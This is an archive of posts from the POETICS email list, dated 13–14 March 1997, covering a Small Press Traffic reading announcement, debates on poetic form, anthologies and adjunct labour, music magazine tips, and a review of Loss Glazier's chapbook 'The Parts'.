> *Witnesses included Adam DeGraff, Edward Berrigan, Yetta, Ed Foster (in town for his own reading this Saturday at New College with Giovanni Singleton),*

Ed and Giovanni are reading FRIDAY for Small Press Traffic. Though we are located at New College, Small Press Traffic's series is separate from New College's own reading series.

Small Press Traffic presents:

Friday, March 14, 7:30 p.m.
Edward Foster
Giovanni Singleton
New College Cultural Center
766 Valencia Street
$5

Edward Foster wears many hats. He¹s the editor of Talisman, one of the leading U.S. poetry magazines. His critical works include studies of William Saroyan, the Beats, Jack Spicer, and a memoir of his friendship with the poet Ted Berrigan. He¹s the publisher of Talisman House Books and has edited or co-edited the anthologies Postmodern Poetry: The Talisman Interviews and Primary Trouble. He is a controversialist whose essay ³Poetry Has Nothing To Do With Politics² startled many with its insistence that poetry ³precedes intention, choice,

and dialogue.[2] His own poetry‹romantic, grand, picaresque‹marvelously moves between personal and world history with painful honesty and hard-won ease.

Giovanni Singleton[1]s work has appeared in Prosodia, Mass Ave., Mirage, No Roses Review, and The Breast Anthology (Global City, 1995). She holds an M.F.A. from the Poetics Program at New College and is currently writing an M.A. thesis on the poet and activist Jayne Cortez. Her writing updates and revises the modernisms of the Harlem Renaissance poets and the Black Arts Movement of the 50s and 60s, as well as African-American modernist film, visual art and music. Her poetry is sensual, exciting, formally radical, like velcro on steel.

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346. Henry Gould

Pavement Saw query

Thu 13 Mar 1997

Can anyone backchannel me a current phone or email address for Pavement Saw Press? Thanks - [redacted]

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347. Michael Coffey

Re: poetry that sells? -Reply -Reply

Thu 13 Mar 1997

>>> <[redacted]> 03/13/97 01:24pm >>>
michael coffey, question: that piece on poetry publications comes off as so HAPPY!...

but like, what about the small press distribution problems we've been witnessing in the last decade (at least)?... why is there no mention made of same?...

dear joe amato:

the publishers weekly piece tried to focus on the diversity of poetry being published, informing booksellers and others in the trade of that fact, and hopefully giving them a notion of which publishers were doing which kinds of work.

Issues of distribution, consolidation, returns, the plight of the independent booksellers, the inroads of internet bookselling, the expanding reach of warehouse clubs, the costs of paper, the diminishment in arts funding and other developments that imperil all manner of publishing, big and small, poetry and no, were not addressed, although, in the pages of PW, these are regularly monitored.

As for the damnably happy tone: I would say that poetry publishing is pretty vital at the moment, and seems to be on the rise; distribution, which 10 years ago was an absolutely dire situation for small literary presses, has much improved, generally speaking. For new presses, and very small presses that have no distributor, things are, as always, bleak as regards sales in the trade, but no bleaker than in 1970 or 80. Publishers still must find their audience in other ways and get a great deal of contentment out of simply (!) producing a person's work in the venerable form of a book.

One could argue that poetry is marginalized by culture, by commerce, by most people. And that TV isn't. The reasons are clear, and perhaps not to be wished away.

As for sales of poetry, the thorny issue arises as to how much poety poets buy. Lovers of mysteries and romance and scifi read one a week; lovers of fiction with a capital F read a couple a month; how much poetry does a poetry lover buy? For that matter, could a lover of poetry find enough good new poetry to buy and read one a week? I don't think any one's individual tastes are being published to that successfully, clearly. There is a world of backlist to find and read, but do we? Poetry is not consumed quite the way other literatures are, it seems to me. The emphasis is on its production, and I think therefore it might be wrong-headed to fret about its success in the marketplace. It's encouraging to know that it is out there. To mean, perhaps, it simply must be. To sell well, well, perhaps something else is going on. I'm not saying a publisher (or poet) should be happy with a barn full of unsold books but it is not a failure by any means. However, traincars full of unsold book's by Johnnie Cochran, which one large New York publisher was recently in receipt of, very well might be.

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348. **Joseph Lease**
Re: "deeply disturbed"
Thu 13 Mar 1997

---

just a quick ps regarding my use of context dependent

even the word traditional means very different things to different poets: certainly the word experimental does: likewise the word form

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349. **Matthias Regan**
Re: "deeply disturbed"
Thu 13 Mar 1997

---

more tomorrow

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

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350. **Mark Roberts**

Re: TINFISH (fwrd from Susan Schultz)

Thu 13 Mar 1997

For anybody outside of the US Tinfish can be ordered through the AWOL (Australian Writing On Line) Virtual Bookshop at http://www.ozemail.com.au/~awol/

>From: Susan Schultz <[redacted]>
>Subject: TINFISH! Collectors' Edition!
>
> TINFISH #4 is now available. Each copy has a different full-color
>cover, featuring palimpsests of Hawai'i travel brochures and other local
>advertising; the overlays are incredible. The covers are by Gaye Chan and
>Duncan Dempster of the University of Hawai'i art department. Contributors
>from Hawai'i, Australia, New Zealand, the continental U.S., and elsewhere,
>include: Kapulani, Murray Edmond, Adam Aitken, Pam Brown, Yunte Huang,
>Richard Hamasaki, Rebecca Mays Ernest, Paul Hoover, John Noto, Dan
>Raphael, Gabrielle Welford, Joshua McKinney, Jorge Guitart, John Kinsella,
>Susan M. Schultz, Loss Pequeno Glazier, Sue Moss, Dan Featherston,
>Michelle Murphy, Liz Waldner, Cydney Chadwick, Marie Hara, Joshua Harmon,
>and Hazel Smith; design by Suzanne Kosanke.
>
> The price is $5 per copy; $13 per 3 issue subscription. TINFISH's
>address is 1422A Dominis Street, Honolulu, HI 96822, or you can reach me
>through this email account <[redacted]>.
>
>
>
>_____
>
>
>Susan M. Schultz
>Dept. of English
>1733 Donaghho Road
>University of Hawai'i-Manoa

>Honolulu, HI 96822
>
>http://writing.upenn.edu/epc/authors/schultz
>http://writing.upenn.edu/epc/ezines/tinfish
>
>
Mark Roberts SIS website: http://www.usyd.edu.au/su/sis/
SIS Team
Building G05 Maze Crescent
University of Sydney
Phone 61 2 93517710
Mobile 015063970
Fax 61 2 93517711

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351. **Herb Levy**
new music mags
Thu 13 Mar 1997

I concur with all of the various praise heaped upon Musicworks (right down to the need to renew my sub).

But I'd like to add a few other zines that are far less frequently published, which are also quite useful. All three are particularly interesting to me cause they helped me to understand some of the connections between old (60s-80s) new music & some of the more recent stuff that has a slightly younger demographic and more "pop" cachet (by which I mean stuff that might be name checked in Spin magazine).

Unfortunately I don't have addresses with me, Luigi may, but I can supply these if folks are interested early next week. The zines, listed in the order in which I find them most useful, are EST (roughly annual from the UK), Halana also roughly annual, and ND, from Austin with a new issue coming out "real soon now" after about a 2-3 year hiatus.

Bests,

Herb

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352. **dbkk**
Re: A branch off the "Disturbed" thread
Thu 13 Mar 1997

At 6:35 PM +0000 3/13/97, Robert Archambeau wrote:

> *I am suspicious of any attempts*
> *to dismiss whole genres of work as valueless, boring, or lifeless*
> *(although there*
> *are certainly poems, and even poets, that fall into these categories). I*
> *will not*
> *make an idiom my enemy. But I don't know that there is, at the moment,*
> *much by*
> *way of a vocabulary in which to articulate an appreciation for many*
> *poetries, or*
> *to explain an admiration for many poetries. Where is there a poetics of*
> *pluralism?*
>
> *Shouldn't one of the tasks of this list to be to explore such a vocabulary?*

I think that a lot of the discussion on this list is taking place in a liberal dreamscape instead of the "real" world. Isn't it traditionally through dismissing "whole genres of work as valueless, boring, or lifeless" that many groups and individual poets have generated the energy to go on and do something interesting/innovative?

Good-citizen poets, do they also always buckle their seatbelts?

Tom Clark's rantings, which I keep hearing reports of, are starting to sound refreshing to me.

And, Robert, this is no personal attack on you, good god, I just used your quote as jumping off point to bitch.

Dodie

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353. **DS**

Re: A branch off the "Disturbed" thread

Thu 13 Mar 1997

> *I think that a lot of the discussion on this list is taking place in a*
> *liberal dreamscape instead of the "real" world. Isn't it traditionally*
> *through dismissing "whole genres of work as valueless, boring, or lifeless"*
> *that many groups and individual poets have generated the energy to go on*
> *and do something interesting/innovative?*

Sure, but if the nature of this poetry is so 'exclusive' and assured of its own importance - it merely goes on as part of an elitist poetics history & surely colludes with other power structures, language structures etc to exclude those who perhaps are taking a more roundabout/or conservative 'poetic' route - but who may be fighting the same war. Kind of like the whole spanish franco thing.

Sorry more/war metaphor. Yuck.

Dan

> *Good-citizen poets, do they also always buckle their seatbelts?*
>
> *Tom Clark's rantings, which I keep hearing reports of, are starting to sound refreshing to me.*
>
> *And, Robert, this is no personal attack on you, good god, I just used your quote as jumping off point to bitch.*
>
> *Dodie*

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354. **Christopher Alexander**

Re: "deeply disturbed"

Thu 13 Mar 1997

Mark P wrt:
> But it is argueable that everyone, including
> teachers, might usefully turn away from "tomes" to more fugative texts, as
> a basis for evaluation/debate/struggle over what we want our poetries to
> become...
yes yes, I think this is a crucial strategy for
teaching contemporary poetry. for the cost
of most anthologies, you can teach several
smaller, entire books (& support several
smaller presses). you do lose the possibility
of more casual contact - the student who
discovers a poet's work by paging through the
anthology (it's rumored that this actually happens).
but along with that you lose the authoritative
gesture of the Anthology, & its possible to gain
1. a deeper immersion in the work at hand;
2. the students introduction to the small press, where
   most of contemporary poetry (or most of what I
   would teach) makes its public appearance;
3. a fleeting glimpse into the "field" of contemporary poetry,
   its socius - what poets do these days (many of us seem to
   have become proficient in publishing, organizing reading series,
   etc), the relation of contemporary poetry to its social situation,
   to publishing, etc.

all arguably good gains. I'm particularly interested
in the possibility of teaching not just poetry ("the
same vacuous workshop all over again", or " the
workshop in a vacuum all over again") but the
conditions of its production as a commodity--I mean
the various sorts of books & coterie work out there--
& its reception.

so that when Joseph asks:
> which basically new critical principles underlie most creative writing
> workshops where are they are they bad are they bad because when can
> compare them to a particular era long gone in lit crit explain please
my explanation is precisely the above,
& it seems to me, well "bad" if you like,
but I'd prefer to say a failing that we
tend to teach poetry as if it were
socially an other realm--as high art?
to the extent that american creative
writing workshops tend exclusively
toward an emphasis on the internal,
structural unities of the individual
poem or isolated self-expression &
turn away from social, theoretical,
political questions, I'd say that they
are distinctly the inheritors of
New Criticism. (I'm talking here
about the average program, & not
Brown--you have to remember
that my experience was considerably
more conservative than your own).
it seems to me problematic, for
instance, that you wouldn't dream
of teaching Donne without teaching
Early Modern England in seminar, but
he'll be dragged into every workshop in
america in just that manner. if you believe
Marotti, as in fact I do, this kind of
treatment, first by critics but sustained
here, has lead to a terribly deformed
reception of his work. (one could speak
similarly of McGann's admirable work
on the English Romantic Epoch, but I

don't think anybody's actually teaching
Byron in workshop). Donne's coterie
readers would have understood his work
as a part of the social & yes political
fabric of their time. & we understand
our own, contemporary work as
similarly engaged: we understand it in
context. my point was simply to
applaud those of us (Joe) who make
an effort to teach it that way.

chris

..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
this program will shut down, & all unsaved data will be
lost. if problem persists, consult your systems operator.

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355. Christopher Alexander
Re: "deeply disturbed"
Thu 13 Mar 1997

Jonathan wrttr:
> It seems our most urgent professional
> responsibility, those of us who teach in college programs, is to resist
> the adjunctification of the profession.
absolutely yes, very well said.

> Let course enrollments grow, let
> students complain? Enlist the MLA's power of publicity?
or shut down the universities?
with a few hundred experienced
union organizers & a few years we
could have this problem cleared up.

chris
..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
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lost. if problem persists, consult your systems operator.

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356. **Christopher Alexander**
Re: "deeply disturbed"
Thu 13 Mar 1997

---

joseph wrt:
> therefore, it seems to me, that poets who love the avant-garde tradition
> are obligated (in order to be intellectually consistent) to at least
> respect what different lefts define (determine, as in self determination)
> to be terms of aesthetic excellence

tolerance is a virtue yes but respect
does or does not include critique?

I respect the efforts of certain clergy members, past & present, to "better the lot" of wage workers & the poor. but I also think it would be my responsibility to reveal the limitations of any such approach.

chris, so-called because
..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
this program will shut down, & all unsaved data will be
lost. if problem persists, consult your systems operator.

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357. **Tom Vogler**
[1]POETICS Digest - 12 Mar
Fri 14 Mar 1997

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[1]POETICS Digest - 12 Mar 1997 to 13 Mar 3/13/97

Sorry. Unavailable by email until April 14, 1997.

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358. Jocelyn Emerson
joining conversation
Fri 14 Mar 1997

Just signing up for this list serve, I have only heard a few of the strands being discussed but wanted to venture an observation or two about adjunct teaching and "identity" politics. I think the issue of adjuncts cannot be separated from other dynamics outside of the literary/academic world, and that this situation of working in the field with little stable material renumeration, advancement, etc. vis a vis having a career with all of the material and ideological capital is intimately tied with other forms of oppression. Women make up the vast majority of adjunct teachers, and it seems crucial to me that we consider the demographics of adjunct teaching as a manifestation of larger oppressions in the cultural matrix.

The other issue about the Norton anthology and identity politics/aesthetics brings to mind, for me, how difficult it is to stand outside of one's own ideologies and bear some deeper than a priori responsibility for the Other and what that might look like in real terms beyond boutique multiculturalism which I agree, is completely cynical and really a desire to appropriate (and contain) hard won struggles for material and cultural leverage in a system designed to render invisible all forms of alterity--discoursively and bodily. One of the things which interests me a great deal is doing much more conscious work on (anglo)whiteness as race, and the discoursive constructions of such whiteness as a method of making partial, or returning to a relational/contingent position, the constructed and equally socially-engineered nature of whiteness as "racelessness"--and therefore the "neutral" racial position.

Jocelyn Emerson

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359. Loss Glazier
Zukofsky in April at Buffalo
Fri 14 Mar 1997

Dear Poetics: A note to announce the EPC is currently building a page for the Buffalo Zukofsky conference. As select Poetics subscribers, you are welcome to preview this page by selecting the link from the EPC home page, selecting "Zukofsky" from the author list, or by going directly to: http://writing.upenn.edu/epc/authors/zukofsky/april.html NOTE: This is only the first "draft" of these pages so also check back since these pages will be growing! Most importantly at this point I wanted to invite anyone who might have Zukofsky-related materials that might be interesting to link to - i.e., visuals, papers or other work, or special issues of magazines that might be scanned etc. -

to let me know. If so, please drop me a note backchannel! And in any case, here's hoping this info will help if you're planning to come to the conference!

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360. **Franklin Bruno**
(no subject)
Fri 14 Mar 1997

Robt. A writes (in a post to which I am largely sympathetic):

>Yes, the forms used by a poet like Heaney have political/ontological
>corollaries about, for example, the nature of the self which I don't
subscibe...

And I think herein lies part of the answer to why a "language of understanding between poetics" (or whatever Robert said a few posts later) is so difficult--it's the assumption that the forms HAVE these corrolaries ESSENTIALLY, that they aren't a product of the use to which these forms are put, which I suppose is a function of the complex relationship between the form, the content, the context, the tradition, and who knows what else. The notion that form and content are inseparable in understanding a given poem or poet tends to slide (Marjorie's view, and probably a correct one, or at least one deeply entrenched in our whole understanding of what makes poetry poetry and not something else) into the view that a certain form somehow cannot help expressing a certain content (except perhaps when the form is used ironically). I think this is sort of a 'heroic lang-po' (someone used that phrase here yesterday) article of faith, which can take either the form that there are certain (radical) messages a (conservative) poetics JUST COULDN'T convey by virtue of not enacting them in form, or, conversely, that the use of certain (radical) forms will prevent us from re-enacting a (conservative) content. The pluralist poetics Robert wants (maybe not everyone does) will have to question this. I think that only someone (most of us) with an abiding belief in the importance/power/specialness of poetry would even be tempted to believe that form alone FORCES a content, an ontology, a metaphysics the way that a magician forces a card, which is all to the good, but the idea has its limitations. Much of what I'm saying isn't that different than what Chris S. said earlier. I think there's the start of an explanation here of what makes it so hard for many folks (me included) to get their head around the Pound problem, but it's too late as it is.

Unrelated: I second the recommendation of Halana as far as new music magazines go. The new one includes a CD w/ work by Tony Conrad, Japanese noise artist Keiji Haino, and others. The previous issue, if you can find it, had a rare interview with LaMonte Young. I don't think anyone's mentioned The Wire, an

English magazine that is a little too taken with the wonders of techno, drum and bass, etc. for my taste, but which does cover a lot of experimental music.

fjb

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361. **Marjorie Perloff**
Re: form
Fri 14 Mar 1997

This is for Chris S., Joe D'Amato especially-- there's a confusion going on about the word "form." It has nothing to do with whether "rhyme" is or is not a good "form." As someone who wrote her dissertation/first book on "Rhyme and Meaning in the Poetry of Yeats"--I'm actually quite a rhyme addict. Form has nothing to do with technical features as such. It has to do with the connection to meaning, with language use. For instance, I've always disliked Adrienne Rich's "Diving into the Wreck" because the theme--"I am he, I am she"--the transformation, the androgyny, is presented as this (to me) dopey metaphor about deep-sea diving, "First I put on my flippers...." It's so willed. If, as she claims to be saying, human identity is fluid, amormphous, and sexuality open, then what the hell are we doing with these neat stanzas and overriding metaphorical structure--one basic metaphor throughout. The form belies the intended meaning and the tranformation "diving" produces is just too easy to be interesting. Conversely, one can use all the fragments and dislocations around and still not have a good "language poem" if there is no real reason to fragment. This all sounds like English 101 I know, but it bears saying, given the comments about "technically innovative" or "not that technically innovative."

As Hugh Kenner once put it, the avant-garde can be just as boring as anything else.

This has been a great discussion and I've learned a lot from the postings1

Marjorie

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362. **Joseph Zitt**
(no subject)
Fri 14 Mar 1997

Franklin Bruno wrote:

> *Unrelated: I second the recommendation of Halana as far as new music magazines go. The new one includes a CD w/ work by Tony Conrad, Japanese noise artist Keiji Haino, and others. The previous issue, if you can find it, had a rare interview with LaMonte Young.*

You can still get it, I think -- I got mine a few weeks ago.

More info at:
http://members.aol.com/halanazine/index.htm

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363. **Robert Archambeau**
Franklin Bruno's Post
Fri 14 Mar 1997

Franklin Bruno writes:

> *The notion that form and content are inseparable in understanding a given poem or poet tends to slide [. . .] into the view that a certain form somehow cannot help expressing a certain content (except perhaps when the form is used ironically). [. . .] The pluralist poetics Robert wants (maybe not everyone does) will have to question this.*

Franklin --

Good point -- I was writing a bit sloppily, and I agree that the work done by a form is entirely contextual (hell, I wrote my dissertation about the different kinds of work that neo-Romantic poetics can do in different postcolonial contexts). This gives us all the more reason to be open to a larger variety of poetries, and to work toward a critical language that can value them.

R.A.

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364. **Michael Magee**
Re: form
Fri 14 Mar 1997

I agree, for what its worth, with Marjorie Perloff's comment about Rich's "Diving into the Wreck." - it's always bugged me, somewhat juvenilly I admit, that friends whose minds and tastes I admire like that poem - compare the gender fluidity that happens in, say, Carla Harryman's *there Never was a Rose without a thorn* through the blurring of pronouns, the non-specificity of narrators, etc, and...well it isn't much of a comparison, Rich's "fluid" freezes up pretty quick.

-Mike Magee.

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365. henry gould
disturbing ant ticks pol
Fri 14 Mar 1997

If poetry is part of larger free-standing art process - like science, as a kind of work, develops a certain autonomy - (I'm talkin in the abstract, youse adjunct cab door openers) - which "helps people live their lives" (W. Stevens) - it can "open the doors of perception" in some ways - encourage people to rethink their habits, expand, grow, feel, think, enjoy reality (no kiddin) -

then on the one hand an expansive, generous critical attitude - not exclusive - rather radical (in Jordan's sense) when it comes to making room for it on campus or elsewhere - is the way to go -

but an expansive critical attitude also should be able to absorb a CRITICAL attitude & include it (in Dodie's sense) - strategically, both are important -

since the free-standing space for art should be recognized as a subset of free-standing democratic space - where people build political platforms that balance work, property, learning, and justice - and are free from greed, hate, violence, and ignorance - constitutions, in other words - hypotheses - and traditions (there are good things about Anglo-American common law tradition, folks) - capitalism will be curbed and tamed, not transcended - (as I'm sure we ALL agree) - (check the Catholic Bishops' Statement on the Economy - they did their homework) -

and the CRITICAL attitude which is a civic attitude - might temper the natural tendency of free-standing art - to become simply self-absorbed self-interest - this is a simple aesthetic - an illustration: has anyone read Valery's "On Poetry and Abstract Thought"? Do any of your hotly-vaunted innovations actually DO what Valery proposes is the basic thing poetry does? and did anybody like my Ballade Litteraire? it has rhymes - it makes fun of you -

- Henry (disguised as Jordan's Uncle Waldo)

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366. Susan Wheeler
a branch off the . . .
Fri 14 Mar 1997

To use an example from the excoriated, an (apocryphal?) story has Spender whining over an ace poem he's found by someone else that he envies. Auden shrugs and says "Why envy? More to raid!"

(My contribution to the hegemonized field, banking up the corroding Powers That Be)

Susan Wheeler
[redacted]

37 Washington Square West #10A
New York, New York 10011
[redacted] phone/fax

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367. Jordan Davis
Public applause
Fri 14 Mar 1997

Thanks, Dodie, for saying the sane thing.

I think it's mysticism to say that a form forces its message. "The suit makes the person." "A book by its..." Form may lead with its chin, but that's something else, and irony is too general a description to cover the various counter-uses there are for formal writing.

Furthermore, at this point, aren't "earned" uses of fragmentation predictable? Modern, even?

Jordan

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368. Jeff Hansen
jobs and poetry
Fri 14 Mar 1997

Joe Amato asked how nonacademic jobs affect our writing.

I have two jobs: 1) Prep school teacher and 2) evening child care while my wife works.

The big impact on my writing is that right now (funny pun?) I haven't the time. Next week I'm on vacation and I plan on writing away to my heart's content. But it probably won't work that way: I don't suffer from writer's block. I suffer from writer's excess. I have more ideas, feelings, visceral urges than I have time to write them down. And they all don't lie fallow, some just wither away.

I became a prep school teacher because I wanted a steady job that would not compromise my principles that had time off to write. I am a trained academic, but I figured "who needs the bullshit of spending ten years in part-time work before a chance at full-time finally comes around?" My wife and I found ourselves in the situation where I was the one who had to get the job with benefits.

My child care job truly affects my writing: In November and December I managed to eek out a manuscript length poem-meditiation that swirls around various perspectives on my daughter's moderate autism. Most are from her wordless perspective: I translated her wordless being into words. It feels successful.

School? Well, prep school connnects me with the elite class. I encounter their hang-ups, troubles, insecurities, and drivenness. How does it enter my writing? Sometimes as a position for satire. While I believe in education in principle, I don't believe in it as "style" or badge of social status. But any eductational institution has its watering down point. I'm not complaining.

What impacts my writing more than anything else is my sense of a dumbing down of the culture, of a pervasive lack of memory skills, concentration skills, and discernment skills. I see the work of "innovative" poets as heroic -- I sincerely believe that we as a group are among the few attempting to keep thinking alive amid this insanity.

"Culture" in the old sense is dissolving, and while I welcome the end of bourgeois "we went to the ballet this weekend" braggart culture, I am concerned about what is happening to our brains.

The way I see to address this "dumbing down" is to wade right in, and make serious thought of the very material of the "dumbing down." This can be done in a lot of ways. But poems about seeing a bear outside your cabin don't work for me.

Jeff

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369. Andrew Mossin

A branch off the "Disturbed" thread

Fri 14 Mar 1997

Responding late to this segment of the discussion, I would just add (in response to Robert Archambeau's important urging of a "language of respect" between and among otherwise seemingly "opposing" models of poetic practice) that Robert Duncan remains perhaps the best contemporary example we have of such an approach that regards a multiphasic conception of poetic art as central to any real undertaking in the work. Dismissing the conventions of literary "taste" or the currently fashionable attachments of any one school as useful to the apprehension of poetic meaning, Duncan remains exemplary in showing us how, out of communal respect for the practice and activity of poetries, the disparate, dissimilar strands can be woven together: Marianne Moore and Garcia Lorca, Ezra Pound and Edith Sitwell,William Carlos Williams and Mary Butts,

etc. "Movement and association are not arbitrary, but arise from an inner need," Duncan writes in "Ideas of the Meaning of Form. "I must study thru, deepen my experience, search out the challenge and salvation of the work."

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370. Henry Gould
bk review (medium rare)
Fri 14 Mar 1997

THE PARTS, by Loss Pequeno Glazier
Buffalo: Meow Press, 1995

"I recognize it in myself by this: that all possible objects of the ordinary world, external or internal, beings, events, feelings, and actions, while keeping their usual appearance, are suddenly placed in an indefinable but wonderfully fitting relationship with the modes of our general sensibility. That is to say that these well-known things and beings - or rather the ideas that represent them - somehow change in value. They attract one another, they are connected in ways different from the ordinary; they become (if you will permit the expression) _musicalized_, resonant, and, as it were, musically related. The poetic universe, thus defined, offers extensive analogies with what we can postulate of the dream world... "A poet's function - do not be startled by this remark - is not to experience the poetic state: that is a private affair. His function is to create it in others." - Paul Valery, "Poetry and Abstract Thought"

The whole of which Loss Glazier's THE PARTS is a small, refreshing part is a poetic universe fallen into sin/sign/synecdoche. Charles Olson an early opponent of idle lyricism called for a "middle voice", little knowing that a sober middle voice, neither inspired nor dis-re-despaired, could emerge from the particulated nonspeech verbal medium of <language poetry>. Sober, but funny! There are bits of Olson seeping through these poems:

As with the hundreds of files
per dye formulation (but see
it's not the _number_ as much as

the "patching" - weave as the
ply resulting in branches seem to
make it find. Sheer exhaustion!

a part of sense of what does pry
apart. Until on the "line" other
issue of this. It's as if the alert

where its brambles from the Fort
here and see with you who wrote

'not about bits, bytes, bells or whistles'
. ...

(day in
D-town...your words on screen
marked as people's next-in-order.

- This is from a poem called "The Com'ns" - with the word INTERNET stamped in bold oddly above the title. Yon book reviewer finds much in this little excerpt to illustrate the "whole". To digress though: many of these poems are wit-sly satires - the opener, called "The Apex", a serious (in the Olson way) send-up of _Apex of the M_ calls for a "transparent" revolutionary poetry - which argues (by example) that poetry's pith, spine, whatever, is to be both opaque-resistant AND responsive-expressive (politically relevant). Glazier's Apex satire though is a subset of the writing throughout the chipbk - which takes apart both utilitarian mechano-chatter and obsolete poetic phrasing from an exact middle-voice midpoint - that zone of Glazier's special position - AS AN EXHAUSTED INFORMATION SUPERHIGHWAY WORKER GRUNT. ("Sheer exhaustion!") (_Poetry does not / gain from mummified speech_. - from the final [title] poem.) There is a real speaker standing paradoxically behind the syntactically rhythmically and typesetfully SHREDDED bits & bytes of these poems - who "places" poetry as a part of computerized "speech" overkill - the worldwide web as a bizarre cocoon or womb drifting with bits of dead speech-food - yet each bit reflecting some origin or history, not devalued or dehumanized but ironized like iron filings not yet translated. Here is the beginning of the prose piece "How I was Attila in a Past Life":

"Losing its words. Take some aegis or exit point where alpha types disperse. The family grows old and leaves without you. There was some hook to holdings how the etzels regenerated. The 'rod and cones' of it. As it was penned, the bull waited to bolt forward but the human cannot wait until sunrise. Hence dismemberment makes a myth of words salving a permuted path."

This last sentence - the image of weaving/dismemberment appears here & there - the archaic or archetypal suddenly showing beneath the techno- jargon. From "Five pieces for Sound File" (a funny little set maybe written in England(?) - pathos of the nowhere bumping against the immemorial):

on the verge - that constituent contact

ends - though I'm no diner King -

it meant so much and again will

break his I - does it falter?

Like the note passed in the row ahead

these men's books are the whole of language

how we navigate only - piecemeal

- there is the shadow of Old Ez visiting Londres here and readying his fractions. Glazier has put together a breathing chaos. As the physicists are starting to repeat ad nauseam, chaos is a species of order, the part is an empty promise of an inescapable whole, the whole of poetry breathing underneath the robotic shim of shunted language-bearers. The Parts, perhaps are part of the fibrillated stone wheel of the mother-demon Coatlicue pulled up from a Mexico City subway excavation, alive, breathing and terrible to behold in her furious dismemberment WHEELING AROUND AND AROUND NOW IN THE MUSE'UM of walk-walk-talk-talk. This is a cool and hilarious little book. Here's the last 2 stanzas:

"Elipsis" is incision point and
conversely prolapsed. Whether there's
a break for want - strong pull-time

passes. Kin to "living" in a period
of adapted measure. There should only
be one book; texts weave through that.

*

["Dante thought so too" - Uncle Waldo]

- Henry Gould

↑ Index

371. Christopher Alexander
Re: Perloff/Kellogg, et al.
Fri 14 Mar 1997

Chris Stroffolino wrota:
> that there may be a UNION of
> practictioners of "radical formal innovation" and "radical CONTENT
> innovators" that can be emphasized
though I've been more dogmatic about this in
the past, this is an issue I've been rethinking
of late, & so I just want to agree that Chris
raises a very important point here, as did Joseph
with "respect". not too long ago, I watched
again one of my favorite films, Bunuel's
Exterminating Angel (El Angel Exterminador),
& since then I'm sort of haunted by this

vision (only superficially related to
the film) of a group of people, trapped in
this parlor, & fighting amongst themselves
because they are incapable of collective
action. on the other hand, I do think that a
critical approach to conservative methods
is necessary. as far as an issue like inclusion
in the Norton, well, I'd like personally to see
us get past the kind of divorce from context
that most anthologies represent. but isn't our
discussion of the Norton & similar anthologies
partly synecdochal for concerns of representation
of *our* left alongside a content-oriented left
(aside, of course, from a concern that *any*
left be represented there). I'm reminded ["that
boy, always with the films"] of Groucho Marx
in Duck Soup: "what if I put out my hand & he
[sic] doesn't take it?"

chris
..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
this program will shut down, & all unsaved data will be
lost. if problem persists, consult your systems operator.

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372. David R. Israel
(Fwd) New Music on World Instruments
Fri 14 Mar 1997

Po-Listies --

in light of recent q. re: music mags & some references to MusicWorks, I'm forwarding this post from another Buffalo U listserv -- the latter (incidentally) being a list devoted to discussion of Asian-influenced contemp. music. I attach this partly bec. of the convenient MusicWorks URL noted at bottom.

cheers,
d.i.

------- Forwarded Message Follows -------
Date: Fri, 14 Mar 1997 08:07:39 -0800
<[redacted]>
From: Randy Raine-Reusch <[redacted]>
Subject: New Music on World Instruments
To: [redacted]

Thought I would let you all know that Musicworks magazine is currently doing a series on New Music on World Instruments. Last issue Musicworks 66 contained two articles, one which was an overview on the subject and the second was an interview with the Japanese koto phenomenon Kazue Sawai, who was the originator of a lot of New Music for traditional instruments in Japan.

This issue, Musicworks 67, has an interview with Japanese composer Yuji Takahashi who is currently specializing in scores for traditional Japanese instruments, koto, shamisen, gagaku, etc. He talks about writing for how the body moves, as a traditional / contemporary approach!

Next issue will feature an interview with the Tuvan New Music/traditional singer Sainkho Namtchylak. I don't know if you have heard of her yet but she has more sound in her throat than almost anyone I have ever heard, from overtone and undertone, to Innuit throat singing to extended vocals!

If you are interested in Musicworks, contact them and you can receive a free sample issue (unfortunately without the CD that usually accompanies the magazine, you have to subscribe for that or buy it seperately). I don't know if you can request one of these issues, but it is certainly worth a try! It usually is published four times a year and the subscription rates are low!

Contact info is : Musicworks Magazine, [redacted], http://www.musicworks.web.net/sound, 179 Richmond St West, Toronto M5V 1V3, Canada

.
. . .
. . . . .
\ \\\\

| one half of you is woman
| the other utter dream
|
| Tagore, "Manasi" (a la d.i.)
/////////////////////////////////\\\\\/////

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373. **Joseph Lease**
Re: "deeply disturbed"
Fri 14 Mar 1997

---

tolerance absolutely includes critique

On Thu, 13 Mar 1997, Christopher Alexander wrote:

> *joseph wrt:*
> *therefore, it seems to me, that poets who love the avant-garde tradition*
> *are obligated (in order to be intellectually consistent) to at least*
> *respect what different lefts define (determine, as in self determination)*
> *to be terms of aesthetic excellence*
>
> *tolerance is a virtue yes but respect*
> *does or does not include critique?*
>
> *I respect the efforts of certain clergy members, past & present,*
> *to "better the lot" of wage workers & the poor. but I also think it*
> *would be my responsibility to reveal the limitations of any such*
> *approach.*
>
> *chris, so-called because*
> *..*
> *christopher alexander, etc.*
> [redacted]
> *(Marriott Library Computer Systems)*
>
> *language code not found. illegal operation error.*
> *this program will shut down, & all unsaved data will be*
> *lost. if problem persists, consult your systems operator.*

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374. **Matthias Regan**
Re: form
Fri 14 Mar 1997

At 07:56 AM 3/14/97 -0500, Mike Magee wrote:

> *I agree, for what its worth, with Marjorie Perloff's comment about Rich's "Diving into the Wreck." - it's always bugged me, somewhat juvenilly I admit, that friends whose minds and tastes I admire like that poem - compare the gender fluidity that happens in, say, Carla Harryman's *there Never was a Rose without a thorn* through the blurring of pronouns, the non-specificity of narrators, etc, and...well it isn't much of a comparison, Rich's "fluid" freezes up pretty quick.*

But why stop the investigation of form & content with accepting the impasse? Why not say that the form does grow out of the content at some other level, not nec. more abstract?

I do not think form and content need "match up", need reflect each other _nec._, : that is to say, not in the manner suggested above: but I think they might both be seen as being formed by a situation in which just that content, just that form was nec. Perhaps to articulate something new it is something nec. to use an old form?

Matthias

(ps Joeseph Lease this is where you ps comes in: what understanding of what form is shall hold sway for any given poem?

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375. **Joseph Lease**
Re: A branch off the "Disturbed" thread
Fri 14 Mar 1997

